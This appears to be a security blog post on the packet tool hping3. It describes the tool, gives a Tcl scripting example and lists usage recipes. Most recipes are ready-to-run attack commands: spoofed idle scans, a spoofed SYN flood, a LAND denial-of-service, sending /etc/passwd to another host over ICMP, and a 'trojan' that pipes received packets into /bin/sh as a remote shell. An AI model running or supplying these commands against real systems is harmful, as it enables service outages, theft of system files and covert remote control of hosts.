Skip to main content

hping


Hping3 And Hping2
hping is a free packet generator and analyzer for the TCP/IP protocol. Hping is one of the de-facto tools for security auditing and testing of firewalls and networks, and was used to exploit the Idle Scan scanning technique now implemented in the Nmap port scanner. The new version of hping, hping3, is scriptable using the Tcl language and implements an engine for string based, human readable description of TCP/IP packets, so that the programmer can write scripts related to low level TCP/IP packet manipulation and analysis in a very short time. Like most tools used in computer security, hping is useful to security experts, but there are a lot of applications related to network testing and system administration.
since version 3, that's now in alpha stage, hping is trying to not be just a little tool but to become a framework for scripting related to TCP/IP testing and security. hping3 continues to be command-line compatible with hping2, but integrates two main new things: the first is an engine called APD that is able to translate simple packet descriptions in the form of strings into a packet ready to be sent, and the reverse (generate the representation from a real packet). The second is the Tcl scripting language. So you can imagine hping3 as a scriptable TCP/IP stack
Example Script:

set srcaddr 192.168.1.5
foreach destaddr {192.168.1.8 192.168.1.10} {
foreach ttl {1 2 3 4} {
hping send "ip(saddr=$srcaddr,daddr=$destaddr,ttl=$ttl)+icmp(type=8,code=0,id=5,seq=10)+data(str[string repeat X 28])"
 }
 }

hping2 was used (in the past) to... 
• Traceroute/ping/probe hosts behind a firewall that blocks attempts using the standard utilities.
• Perform the idle scan (now implemented in nmap with an easy user interface).
• Test firewalling rules.
• Test IDSes.
• Exploit known vulnerabilties of TCP/IP stacks.
• Networking research.
• Learn TCP/IP (hping was used in networking courses AFAIK).

 hping3 should be used to...
• Write real applications related to TCP/IP testing and security.
• Automated firewalling tests. • Proof of concept exploits.
• Networking and security research when there is the need to emulate complex TCP/IP behaviour.
• Prototype IDS systems.
• Simple to use networking utilities with Tk interface.
• All the usage of hping2


1)Hping as Port Scanner
hping3 -S 172.31.19.1 -p 80
hping3 -S 172.31.19.1 -p ++20 (it will increase the value of port to plus one on every iteration)

All known NMAP scanning techniques can be easily reproduced (accept a CONNECT scan), but a finer (don’t get me wrong, not a bad word about NMAP!!!) control on the packets can be obtained

2)Idle Scanning 
Idle scanning is a technique to portscan a remote system fully anonymous.
hping3  -a 192.168.10.1 -S 192.168.10.33 -p ++20
hping3 -r -S 192.168.10.1 -p 2000


3)FireWalk
hping can be used for traceroute and firewall study also.
hping3  -z -t 6 -S mail.example.com  -p 143

4)SYN Attack
hping3 -a 172.31.19.3 -S 172.31.19.11 -p 80 -i u1000

5)LAND Attack
Type of Denial of service attack.Not very effective these days but can waste resources .
hping3 -S  -a 10.10.10.10 -p 21 10.10.10.10

6)Packets with signatures
cat /root/signature.sig
"Vishal Mishra"

hping3 -2 -p 7 192.168.10.33 -d 50 -E /root/signature.sig
Now have a look at the packet dump capture via Wireshark



7)Transferring a file 

hping3 192.168.10.66 --listen signature --safe  --icmp
On Source machine type following now

hping3 192.168.10.44 --icmp –d 100 --sign signature --file /etc/passwd
on the other site you must ‘sign’ the packet, with the signature used at the receiving site.

8)Hping As a Trojan
hping3 192.168.10.66 --listen signature --safe --udp -p 53 |/bin/sh

hping3 192.168.10.44 -p 53 -d 100 --udp --sign siganature --file


Comments

Popular posts from this blog

Hacking Windows 10 UWP App: DLL Injection & common Vulnerabilities

I recently started working on  widows 10 Apps( Apps not Applications) security. Before diving deep in hacking terms lets try to understand what's new in Windows 10 UWP( Universal Platform) as compared to old Apps. Lets begin with how apps actually work on windows 10(desktop/tablet). Now windows 10 comes with a container only for running apps inside the isolated environment. By default, /APPCONTAINER(Linker Flag) is off. This option modifies an executable to indicate whether the app must be run in the appcontainer process-isolation environment. Specify /APPCONTAINER for an app that must run in the appcontainer environment—for example, a Windows Store app. (The option is set automatically in Visual Studio when you create a Windows Store app from a template.) For a desktop app, specify /APPCONTAINER:NO or just omit the option. The /APPCONTAINER option was introduced in Windows 8. Now there is no registry entry concept for these app in the System HIVE rather they install they own hiv...

Installing vmware-11.0 on Ubuntu 15.04 Using kernel Patch

curl http://pastie.org/pastes/9934018/download -o /tmp/vmnet-3.19.patch cd /usr/lib/vmware/modules/source tar -xf vmnet.tar patch -p0 -i /tmp/vmnet-3.19.patch tar -cf vmnet.tar vmnet-only rm -r *-only vmware-modconfig --console --install-all References: http://askubuntu.com/questions/605530/vmware-player-7-1-0-on-ubuntu-15-04-kernel-3-19-0-10-generic-app-loading http://askubuntu.com/questions/617704/failed-to-build-vmnet-for-kernel-3-19

SSI Injection Attack

SSIs are directives present on Web applications used to feed an HTML page with dynamic contents. They are similar to CGIs, except that SSIs are used to execute some actions before the current page is loaded or while the page is being visualized. In order to do so, the web server analyzes SSI before supplying the page to the user. The Server-Side Includes attack allows the exploitation of a web application by injecting scripts in HTML pages or executing arbitrary codes remotely. It can be exploited through manipulation of SSI in use in the application or force its use through user input fields. It is possible to check if the application is properly validating input fields data by inserting characters that are used in SSI directives, like:  Code: < ! # = / . " - > and [a-zA-Z0-9] Another way to discover if the application is vulnerable is to verify the presence of pages with extension .stm, .shtm and .shtml. However, the lack of these type of pages does not mean that th...